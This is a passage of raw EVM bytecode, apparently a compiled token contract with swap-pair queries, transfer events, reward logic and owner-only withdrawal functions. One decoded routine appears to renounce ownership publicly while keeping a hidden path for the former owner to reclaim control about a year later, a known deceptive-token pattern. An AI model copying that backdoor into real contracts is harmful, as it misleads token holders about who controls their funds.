fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154612027565b600d5461203d565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461099690614d73565b80601f01602080910402602001604051908101604052809291908181526020018280546109c290614d73565b8015610a0f5780601f106109e457610100808354040283529160200191610a0f565b820191906000526020600020905b8154815290600101906020018083116109f257829003601f168201915b5050505050905090565b600080600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8757600080fd5b505afa158015610a9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abf9190614538565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161015610bc257600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610b7c57600080fd5b505afa158015610b90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb491906146f2565b508092508193505050610c6c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c2a57600080fd5b505afa158015610c3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6291906146f2565b5080935081925050505b81935080925050509091565b60008060036000610c87611566565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3b90614ac8565b60405180910390fd5b610d58610d4f611566565b8585840361156e565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dea90614a88565b60405180910390fd5b6002544211610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90614a88565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600082600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc2906149a8565b60405180910390fd5b610fef610fd6611566565b8585610fea610fe3611566565b8989612053565b611756565b611001610ffa611566565b8585612109565b600191505092915050565b6000600254905090565b61101e611566565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290614a68565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110f1573d6000803e3d6000fd5b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549150611215846122a3565b92509193909250565b611226611566565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa90614a68565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611397578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401611343929190614942565b602060405180830381600087803b15801561135d57600080fd5b505af1158015611371573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139591906146c5565b505b505050565b6113a4611566565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890614a68565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506301dfe200426114e39190614b9a565b600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d590614aa8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561164e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611645906149c8565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161172c9190614b11565b60405180910390a3505050565b600061174f8261174a84601461203d565b61239a565b9050919050565b61175f836123b0565b600e5482116117a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179a90614a28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156117dd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561181757600080fd5b60006118238584612448565b905060006118318584612448565b90506000600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050828110156118bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b4906149e8565b60405180910390fd5b828103600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555081600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282546119589190614b9a565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516119bc9190614b11565b60405180910390a350505050505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611a18611566565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8f90614a48565b60405180910390fd5b611aac83611aa4611566565b84840361156e565b505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611af2611566565b73ffffffffffffffffffffffffffffffffffffffff16148015611b625750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611dce57611b7281601461203d565b60056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254611be59190614b9a565b92505081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c8a84601461203d565b604051611c979190614b11565b60405180910390a360011515611cab6124a9565b151514611cc157611cbc83826124fa565b611dc9565b6906e1d41a8f9ec350000060056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541115611d4657611d41838261256f565b611dc8565b69054b40b1f852bda0000060056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541115611dc757611dc68382612751565b5b5b5b611e1a565b611dd7836122a3565b811115611e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1090614a08565b60405180910390fd5b5b505050565b600d54600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600f54600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254611ebc9190614b9a565b92505081905550600f54600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000828254611f179190614b9a565b92505081905550600f5460056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254611f949190614c7b565b925050819055508073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f5460405161201c9190614b11565b60405180910390a350565b600081836120359190614c21565b905092915050565b6000818361204b9190614bf0565b905092915050565b6000819050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146121025761dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146120f2576120ed8484846128ac565b612101565b600090506121008483612ae0565b5b5b9392505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121e557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146121c3576121be8282612bdf565b6121e0565b6001600b60146101000a81548160ff021916908360ff1602179055505b61229e565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229d576000600b60149054906101000a900460ff1660ff1611801561227057506000600b60159054906101000a900460ff1660ff1614155b1561229c5761227f8282612d0f565b6000600b60146101000a81548160ff021916908360ff1602179055505b5b5b505050565b6000662386f26fc10000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541061234f57612348600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154662386f26fc10000612dd8565b9050612395565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015490505b919050565b600081836123a89190614c7b565b905092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154141561244557600d54600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b50565b60006124a161245983600d54612027565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461203d565b905092915050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631116124f25760006124f5565b60015b905090565b612503826122a3565b811115612545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253c90614a08565b60405180910390fd5b61254f8282612dee565b6125598282612f86565b61256282613042565b61256b816135e0565b5050565b600061257a82613881565b90506125868382612448565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282546125d79190614b9a565b925050819055508060056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282546126529190614c7b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126d89190614b11565b60405180910390a38260046000600c54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c600081548092919061274790614da5565b9190505550505050565b600061275c836108bc565b90506127b2600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546127ad846138a0565b61203d565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282546128039190614b9a565b92505081905550612813836108bc565b8110156128a75761282c612826846108bc565b8261239a565b60056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825461289f9190614c7b565b925050819055505b505050565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015414612adb57600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154612985600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101548361239a565b1015612ada576000612a24600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154612a1f600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101548561239a565b61239a565b905080600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000828254612a789190614c7b565b9250508190555080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000828254612ad19190614b9a565b92505081905550505b5b505050565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154811015612b885780600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000828254612b7c9190614c7b565b92505081905550612bd1565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505b612bdb82826138ee565b5050565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154811115612c715780600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600b60146101000a81548160ff021916908360ff160217905550612c9682613042565b612c9f816135e0565b8160046000600c54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c6000815480929190612d0690614da5565b91905055505050565b612d2468056bc75e2d63100000610145612027565b60056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541015612dd45780612d9a8383613c88565b1115612dd3576000612db5612daf8484613c88565b8361239a565b90506000612dc38483612448565b9050612dd0848284613ce9565b50505b5b5050565b60008183612de69190614b9a565b905092915050565b662386f26fc10000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410612eee57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154811115612ee957662386f26fc10000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000828254612ee19190614c7b565b925050819055505b612f82565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015414612f81576000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505b5b5050565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154612fd482600761203d565b101561303e57612fe581600761203d565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008282546130369190614c7b565b925050819055505b5050565b6000600a600c546130539190614c7b565b90505b600c5481101561351c57600073ffffffffffffffffffffffffffffffffffffffff166004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561312f57508173ffffffffffffffffffffffffffffffffffffffff166004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156131c2575060011515600560006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff16151514155b15613509576001600560006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160006101000a81548160ff02191690831515021790555060006132d7600560006004600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154606461203d565b90508060056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411156135075780600560006004600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282546133ca9190614b9a565b925050819055508060056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282546134459190614c7b565b925050819055506004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516134fe9190614b11565b60405180910390a35b505b808061351490614da5565b915050613056565b506000600a600c5461352e9190614c7b565b90505b600c548110156135dc576000600560006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160006101000a81548160ff02191690831515021790555080806135d490614da5565b915050613531565b5050565b6000600b60159054906101000a900460ff1660ff16111561387e576103e8600d5411156137b85761361281600a612027565b60056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411156137b357600061368882613eee565b905061369b613695613f39565b8261203d565b60056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825461370e9190614c7b565b92505081905550613721600d548261203d565b600d60008282546137329190614c7b565b9250508190555061374161408a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ffd28ec3ec2555238d8ad6f9faf3e4cd10e574ce7e7ef28b73caa53f9512f65b9836040516137a99190614b11565b60405180910390a2505b61387d565b6137c5600d54600261203d565b600d81905550601054601060008282546137df9190614b9a565b925050819055506137ee61408a565b6000600b60156101000a81548160ff021916908360ff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ffd28ec3ec2555238d8ad6f9faf3e4cd10e574ce7e7ef28b73caa53f9512f65b9600d546040516138749190614b11565b60405180910390a25b5b50565b6000600f5482111561389757600f54905061389b565b8190505b919050565b6000806138ab610a19565b9150506138c8816dffffffffffffffffffffffffffff168461203d565b915060328210156138d857603291505b6103e88211156138e8576103e891505b50919050565b6000600a600c546138ff9190614c7b565b90505b600c54811015613c8357600073ffffffffffffffffffffffffffffffffffffffff166004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156139db57508273ffffffffffffffffffffffffffffffffffffffff166004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15613b5957613a276004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613a2284600a61203d565b612448565b600560006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254613aab9190614b9a565b925050819055506004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef613b3f85600a61203d565b604051613b4c9190614b11565b60405180910390a3613c70565b613b6482600a61203d565b60056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254613bd79190614b9a565b92505081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef613c5a85600a61203d565b604051613c679190614b11565b60405180910390a35b8080613c7b90614da5565b915050613902565b505050565b6000613ce1613cd983600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154612027565b600d5461203d565b905092915050565b613cf4816064612027565b60056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541115613edd57613d6a826003612027565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254613dbb9190614b9a565b92505081905550613dcd816003612027565b60056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254613e409190614c7b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef613ec3846003612027565b604051613ed09190614b11565b60405180910390a3613ee9565b613ee8838383614128565b5b505050565b6000613ef98261430f565b9050610190811015613f0f576101909050613f34565b613f1c600d54606461203d565b811115613f3357613f30600d54606461203d565b90505b5b919050565b600061408560105461408061401660056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015460056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154612dd8565b60056000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154612dd8565b61239a565b905090565b60005b600481101561412557600d54600560006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550808061411d90614da5565b91505061408d565b50565b61413381600a612027565b60056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411156142fe5781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282546141f09190614b9a565b925050819055508060056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825461426b9190614c7b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516142f19190614b11565b60405180910390a361430a565b614309838383614329565b5b505050565b600061432261431c613f39565b8361203d565b9050919050565b6000600b60159054906101000a900460ff1660ff16111561441d5781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282546143969190614b9a565b9250508190555080601060008282546143af9190614b9a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516144149190614b11565b60405180910390a35b505050565b60008135905061443181615152565b92915050565b60008151905061444681615152565b92915050565b60008135905061445b81615169565b92915050565b60008083601f84011261447757614476614eaf565b5b8235905067ffffffffffffffff81111561449457614493614eaa565b5b6020830191508360208202830111156144b0576144af614eb4565b5b9250929050565b6000815190506144c681615180565b92915050565b6000815190506144db81615197565b92915050565b6000813590506144f0816151ae565b92915050565b600081519050614505816151c5565b92915050565b60006020828403121561452157614520614ebe565b5b600061452f84828501614422565b91505092915050565b60006020828403121561454e5761454d614ebe565b5b600061455c84828501614437565b91505092915050565b6000806040838503121561457c5761457b614ebe565b5b600061458a8582860161444c565b925050602061459b858286016144e1565b9150509250929050565b600080604083850312156145bc576145bb614ebe565b5b60006145ca85828601614422565b92505060206145db85828601614422565b9150509250929050565b6000806000606084860312156145fe576145fd614ebe565b5b600061460c86828701614422565b935050602061461d86828701614422565b925050604061462e868287016144e1565b9150509250925092565b6000806040838503121561464f5761464e614ebe565b5b600061465d85828601614422565b925050602061466e858286016144e1565b9150509250929050565b6000806020838503121561468f5761468e614ebe565b5b600083013567ffffffffffffffff8111156146ad576146ac614eb9565b5b6146b985828601614461565b92509250509250929050565b6000602082840312156146db576146da614ebe565b5b60006146e9848285016144b7565b91505092915050565b60008060006060848603121561470b5761470a614ebe565b5b6000614719868287016144cc565b935050602061472a868287016144cc565b925050604061473b868287016144f6565b9150509250925092565b61474e81614caf565b82525050565b61475d81614cd3565b82525050565b600061476e82614b7e565b6147788185614b89565b9350614788818560208601614d40565b61479181614ec3565b840191505092915050565b60006147a9601783614b89565b91506147b482614ed4565b602082019050919050565b60006147cc602283614b89565b91506147d782614efd565b604082019050919050565b60006147ef602683614b89565b91506147fa82614f4c565b604082019050919050565b6000614812602c83614b89565b915061481d82614f9b565b604082019050919050565b6000614835601e83614b89565b915061484082614fea565b602082019050919050565b6000614858602883614b89565b915061486382615013565b604082019050919050565b600061487b602083614b89565b9150614886